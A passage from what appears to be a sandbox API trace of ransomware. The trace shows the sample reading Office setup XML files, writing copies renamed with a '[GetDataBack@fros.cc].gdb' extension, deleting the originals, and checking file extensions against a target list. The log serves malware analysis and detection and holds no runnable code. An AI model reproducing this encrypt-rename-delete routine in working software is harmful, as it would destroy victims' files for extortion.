Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0120.388] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.388] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0120.393] GetLastError () returned 0x0 [0120.393] ReadFile (in: hFile=0x1fc, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0xc72, lpOverlapped=0x0) returned 1 [0120.705] WriteFile (in: hFile=0x200, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xc80, lpOverlapped=0x0) returned 1 [0120.706] ReadFile (in: hFile=0x1fc, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0120.706] WriteFile (in: hFile=0x200, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xf0, lpOverlapped=0x0) returned 1 [0120.706] SetEndOfFile (hFile=0x200) returned 1 [0120.707] CloseHandle (hObject=0x200) returned 1 [0120.707] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.707] SetEndOfFile (hFile=0x1fc) returned 1 [0120.708] CloseHandle (hObject=0x1fc) returned 1 [0120.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0120.708] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 1 [0120.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0120.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0120.775] lstrlenW (lpString=".doc") returned 4 [0120.775] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.775] lstrlenW (lpString=".docx") returned 5 [0120.775] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0120.775] lstrlenW (lpString=".pdf") returned 4 [0120.775] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.775] lstrlenW (lpString=".xls") returned 4 [0120.775] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.775] lstrlenW (lpString=".xlsx") returned 5 [0120.775] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0120.775] lstrlenW (lpString=".ppt") returned 4 [0120.775] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0120.775] lstrlenW (lpString=".zip") returned 4 [0120.775] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.775] lstrlenW (lpString=".rar") returned 4 [0120.775] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.775] lstrlenW (lpString=".bz2") returned 4 [0120.775] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.775] lstrlenW (lpString=".7z") returned 3 [0120.775] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0120.775] lstrlenW (lpString=".dbf") returned 4 [0120.775] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0120.775] lstrlenW (lpString=".1cd") returned 4 [0120.775] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0120.775] lstrlenW (lpString=".jpg") returned 4 [0120.775] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0120.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0120.775] lstrlenW (lpString=".doc") returned 4 [0120.775] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.776] lstrlenW (lpString=".docx") returned 5 [0120.776] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0120.776] lstrlenW (lpString=".pdf") returned 4 [0120.776] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.776] lstrlenW (lpString=".xls") returned 4 [0120.776] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.776] lstrlenW (lpString=".xlsx") returned 5 [0120.776] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0120.776] lstrlenW (lpString=".ppt") returned 4 [0120.776] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0120.776] lstrlenW (lpString=".zip") returned 4 [0120.776] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.776] lstrlenW (lpString=".rar") returned 4 [0120.776] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.776] lstrlenW (lpString=".bz2") returned 4 [0120.776] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.776] lstrlenW (lpString=".7z") returned 3 [0120.776] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0120.776] lstrlenW (lpString=".dbf") returned 4 [0120.776] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0120.776] lstrlenW (lpString=".1cd") returned 4 [0120.776] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0120.776] lstrlenW (lpString=".jpg") returned 4 [0120.776] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.776] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0120.776] lstrlenW (lpString="PowerPointMUI.XML") returned 17 [0120.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0120.777] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1450) returned 1 [0120.777] CloseHandle (hObject=0x200) returned 1 [0120.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0120.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0120.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0120.777] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.777] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0120.779] GetLastError () returned 0x0 [0120.779] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x5aa, lpOverlapped=0x0) returned 1 [0120.780] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x5b0, lpOverlapped=0x0) returned 1 [0120.781] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0120.781] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xf6, lpOverlapped=0x0) returned 1 [0120.781] SetEndOfFile (hFile=0x1c0) returned 1 [0120.781] CloseHandle (hObject=0x1c0) returned 1 [0120.782] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.782] SetEndOfFile (hFile=0x200) returned 1 [0120.783] CloseHandle (hObject=0x200) returned 1 [0120.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0120.783] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 1 [0120.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0120.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0120.783] lstrlenW (lpString=".doc") returned 4 [0120.783] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.783] lstrlenW (lpString=".docx") returned 5 [0120.783] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0120.783] lstrlenW (lpString=".pdf") returned 4 [0120.783] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.783] lstrlenW (lpString=".xls") returned 4 [0120.783] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.784] lstrlenW (lpString=".xlsx") returned 5 [0120.784] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0120.784] lstrlenW (lpString=".ppt") returned 4 [0120.784] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0120.784] lstrlenW (lpString=".zip") returned 4 [0120.784] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.784] lstrlenW (lpString=".rar") returned 4 [0120.784] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.784] lstrlenW (lpString=".bz2") returned 4 [0120.784] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.784] lstrlenW (lpString=".7z") returned 3 [0120.784] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0120.784] lstrlenW (lpString=".dbf") returned 4 [0120.784] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0120.784] lstrlenW (lpString=".1cd") returned 4 [0120.784] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0120.784] lstrlenW (lpString=".jpg") returned 4 [0120.784] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0120.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0120.784] lstrlenW (lpString=".doc") returned 4 [0120.784] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.784] lstrlenW (lpString=".docx") returned 5 [0120.784] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0120.784] lstrlenW (lpString=".pdf") returned 4 [0120.784] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.784] lstrlenW (lpString=".xls") returned 4 [0120.784] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.784] lstrlenW (lpString=".xlsx") returned 5 [0120.784] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0120.784] lstrlenW (lpString=".ppt") returned 4 [0120.784] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0120.784] lstrlenW (lpString=".zip") returned 4 [0120.784] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.784] lstrlenW (lpString=".rar") returned 4 [0120.785] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.785] lstrlenW (lpString=".bz2") returned 4 [0120.785] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.785] lstrlenW (lpString=".7z") returned 3 [0120.785] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0120.785] lstrlenW (lpString=".dbf") returned 4 [0120.785] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0120.785] lstrlenW (lpString=".1cd") returned 4 [0120.785] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0120.785] lstrlenW (lpString=".jpg") returned 4 [0120.785] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.785] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0120.785] lstrlenW (lpString="SETUP.XML") returned 9 [0120.785] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0120.786] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1886) returned 1 [0120.786] CloseHandle (hObject=0x200) returned 1 [0120.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0120.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0120.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0120.786] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.786] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0120.787] GetLastError () returned 0x0 [0120.787] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x75e, lpOverlapped=0x0) returned 1 [0120.788] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x760, lpOverlapped=0x0) returned 1 [0120.789] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0120.789] WriteFile (in: hFile=0x1c0, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xe6, lpOverlapped=0x0) returned 1 [0120.789] SetEndOfFile (hFile=0x1c0) returned 1 [0120.789] CloseHandle (hObject=0x1c0) returned 1 [0120.790] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0120.790] SetEndOfFile (hFile=0x200) returned 1 [0120.791] CloseHandle (hObject=0x200) returned 1 [0120.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0120.791] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 1 [0120.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0120.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0120.792] lstrlenW (lpString=".doc") returned 4 [0120.792] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.792] lstrlenW (lpString=".docx") returned 5 [0120.792] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0120.792] lstrlenW (lpString=".pdf") returned 4 [0120.792] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.792] lstrlenW (lpString=".xls") returned 4 [0120.792] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.792] lstrlenW (lpString=".xlsx") returned 5 [0120.792] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0120.792] lstrlenW (lpString=".ppt") returned 4 [0120.792] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0120.792] lstrlenW (lpString=".zip") returned 4 [0120.792] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.792] lstrlenW (lpString=".rar") returned 4 [0120.792] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.792] lstrlenW (lpString=".bz2") returned 4 [0120.792] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.792] lstrlenW (lpString=".7z") returned 3 [0120.792] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0120.792] lstrlenW (lpString=".dbf") returned 4 [0120.792] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0120.792] lstrlenW (lpString=".1cd") returned 4 [0120.792] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0120.793] lstrlenW (lpString=".jpg") returned 4 [0120.793] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0120.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0120.793] lstrlenW (lpString=".doc") returned 4 [0120.793] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.793] lstrlenW (lpString=".docx") returned 5 [0120.793] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0120.793] lstrlenW (lpString=".pdf") returned 4 [0120.793] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.793] lstrlenW (lpString=".xls") returned 4 [0120.793] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.793] lstrlenW (lpString=".xlsx") returned 5 [0120.793] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0120.793] lstrlenW (lpString=".ppt") returned 4 [0120.793] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0120.793] lstrlenW (lpString=".zip") returned 4 [0120.793] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.793] lstrlenW (lpString=".rar") returned 4 [0120.793] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.793] lstrlenW (lpString=".bz2") returned 4 [0120.793] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.793] lstrlenW (lpString=".7z") returned 3 [0120.793] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0120.793] lstrlenW (lpString=".dbf") returned 4 [0120.793] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0120.793] lstrlenW (lpString=".1cd") returned 4 [0120.793] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.793] lstrlenW 